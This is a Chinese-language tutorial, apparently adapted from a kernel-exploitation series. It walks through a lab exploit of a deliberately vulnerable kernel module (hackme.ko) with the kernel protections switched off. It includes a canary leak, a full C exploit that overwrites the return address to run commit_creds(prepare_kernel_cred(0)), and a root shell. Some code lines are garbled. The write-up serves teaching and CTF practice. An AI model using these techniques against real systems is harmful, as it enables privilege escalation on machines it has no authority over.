内核缓冲区溢出1--无保护

  • Comments Off on 内核缓冲区溢出1--无保护
  • 16 views
  • A+

介绍

参考 https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/

文件下载地址kernel-rop-bf9c106d45917343.tar.xz (8.2 MiB)

这里介绍关闭所有保护的内核缓冲区溢出。canary是不能关闭的

主要包括以下几个步骤:

  • 保存寄存器
  • 打开设备
  • 泄漏canary
  • 利用缓冲区溢出写入shellcode劫持执行流获取root权限
  • 在内核调用commit_creds(prepare_kernel_cred(0)) 修改用户uid为root用户
  • 恢复原来保存的寄存器值,可以设置为随机值但是有可能出问题。
  • 用iretq指令返回。

内核介绍

  • 0为root用户的uid,1000为第一个非root用户的uid。

解压内核以及文件系统

要得到一些rop需要把内核解压取出里面的elf文件

原文提供了extract-image.sh用来解压内核中的elf文件部分,方便使用rop。文件比较大需要时间长,需要优先获取rop。

./extract-image.sh ./vmlinuz > vmlinux
ROPgadget --binary ./vmlinux > gadgets.txt

文件系统用不同的解压工具解压即可,这里需要解压还需要修改之后重新压缩。

解压

```

!/bin/sh

mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio
```

压缩,原路压缩回去

```

!/bin/sh

gcc -o exploit -static $1
mv ./exploit ./initramfs
cd initramfs
find . -print0
| cpio --null -ov --format=newc
| gzip -9 > initramfs.cpio.gz
mv ./initramfs.cpio.gz ../
```

文件系统与文件

为了方便调试需要获取系统的完全控制权,运行run.sh可以进入虚拟系统,默认的设置进去之后是普通用户权限。

image-20210809174403374

在文件系统的 etc目录下有一些init文件,这里inittab文件包含了设置uid的部分,1000修改为0可以获得root权限。

image-20210809174817704

启动脚本与保护

下面是修改后的启动脚本

qemu-system-x86_64
-s
-m 128M
-cpu kvm64
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 nokaslr nopti nosmap nosmep quiet panic=1"

  • -s为调试模式,可以在gdb里调试内核。gdb --nx vmlinux可以不运行插件。

gdb vmlinuxtarget
target remote 127.0.0.1:1234 (target remote docker.for.mac.host.internal:1234 mac的docker环境)

* -m指定内存
* -cpu指定cpu模型可以在这里添加+smep+smap用于相应的保护(开启保护需要删掉-append的nosmap和nosmep)
* -kernel指定内核
* -initrd 指定文件系统
* -hdb会把文件flag.txt放入/dev/sda作为一个磁盘
* -snapshot 所有磁盘映像都被视为只读
* -append传递内核参数

对应保护:

  • smep -cpu选项添加+smep。当进程处于内核模式时,此功能将页表中的所有用户态内存页标记为不可执行。在内核中,这是通过设置CR4的第20bit实现的。
  • smap -cpu选项添加+smep。当进程处于内核模式时,此功能将页表中的所有用户空间页面标记为不可访问,这意味着它们也不能被读取或写入。这是通过设置CR4的第21bit实现的。
  • 内核栈canary 这与用户空间上的canary完全相同。它在编译时在内核中启用并且不能被禁用。
  • kaslr 也像ASLR在用户态一样,它随机化每次系统启动时加载内核的基地址。可以通过在-append选项下添加kaslrnokaslr启用/禁用它。
  • kpti。当此功能处于活动状态时,内核将用户空间和内核空间页表完全分开,而不是仅使用一组同时包含用户空间和内核空间地址的页表。可以通过添加kpti=1nopti-append选项下启用/禁用它。

调试内核模块

在run.sh中qemu-system-x86_64参数添加-s可以附加到远程调试器

在另一台主机启动gdb,连接远程主机,添加符号

gdb -nx ./initramfs/hackme.ko
target remote 127.0.0.1:1234 (mac的docker下调试器target remote docker.for.mac.host.internal:1234)
add-symbol-file ./initramfs/hackme.ko 0xffffffffc0000000

模块的地址确定需要root权限(上面讲述了获取方法)

/ # lsmod /proc/modules
hackme 20480 2 - Live 0xffffffffc0000000 (O)

之后正常加上基地址下端点 b *0xffffffffc0000000+0xf0在qemu里触发断点即可。

image-20210810164400982

漏洞利用

文件系统解压之后找到了文件hackme.ko在read和write部分

其中read函数的实现把内核缓区拷贝到用户空间。

image-20210810091149085

上图中的memcpy的size参数没有显示,实际值如下,为用户传入的size。

image-20210810090954816

即指定size可以从内核缓冲区读入任意字节(小于0x1000字节)。

write类似,可以往缓冲区写入任意字节

泄漏canary

在安装内核模块之后使用就像文件操作,需要打开文件,然后操作。

```
unsigned long cookie;

void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];

printf("[*] Leaked %zd bytesn", r);
//print_leak(leak, n);
printf("[*] Cookie: %lxn", cookie);

}
```

正常的泄漏canary,直接打印。

获取root权限

相比用户程序,内核栈会放置canary,rbx,r12,rbp,返回地址。

image-20210810093031041

想要获取root权限,内核需要执行的是commit_creds(prepare_kernel_cred(0)) 修改用户uid为root用户。

```
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)escalate_privs; // ret

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

}
```

escalate_privs的主要代码是

__asm__(
".intel_syntax noprefix;"//指定intel语法
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
...
"iretq;"
".att_syntax;"
);

两个函数地址是通过cat /proc/kallsyms |grep commit_creds获取的(需要按照前面的方法修改uid为0),在关闭KASLR的情况下这个地址是固定的。

iretq让程序从内核态返回到用户态。

Linux系统下,每个进程拥有其对应的struct cred,用于记录该进程的uid。内核exploit的目的,便是修改当前进程的cred,从而提升权限。当然,进程本身是无法篡改自己的cred的,我们需要在内核空间中,通过以下方式来达到这一目的:

commit_creds(prepare_kernel_cred(0));

prepare_kernel_cred()创建一个新的cred,参数为0则将cred中的uid, gid设置为0,对应于root用户。随后,commit_creds()将这个cred应用于当前进程。此时,进程便提升到了root权限。

保存和恢复寄存器

在进入内核前需要保存寄存器,方便返回的时候恢复。上面描述了怎么获取root权限,但是在返回用户态之后需要用root权限执行想要的代码。

需要保存和恢复的寄存器包括ss,rsp,flags,cs,rip。在返回的时候需要放入对应位置,分别为。

"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"

完整利用

```

define _GNU_SOURCE

include

include

include

include

include

include

include

include

include

include

include

include

include

include

int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lxn", i, leak[i]);
}
}

unsigned long cookie;

void leak(void){
unsigned n = 20;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];

printf("[*] Leaked %zd bytesn", r);
//print_leak(leak, n);
printf("[*] Cookie: %lxn", cookie);

}

void get_shell(void){
puts("[] Returned to userland");
if (getuid() == 0){
printf("[
] UID: %d, got root!n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get rootn", getuid());
exit(-1);
}
}

unsigned long user_rip = (unsigned long)get_shell;

void escalate_privs(void){
asm(
".intel_syntax noprefix;"//指定intel语法
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}

void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = (unsigned long)escalate_privs; // ret

puts("[*] Prepared payload");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

}

int main() {

save_state();

open_dev();

leak();

overflow();

puts("[!] Should never be reached");

return 0;

}
```

相关推荐: JBDC注入

什么是JDBC Java 数据库连接 ( JDBC ) 是编程语言Java的应用程序编程接口(API) ,它定义了客户端如何访问数据库。它是一种基于 Java 的数据访问技术,用于 Java 数据库连接。它是Oracle Corporation的Java St…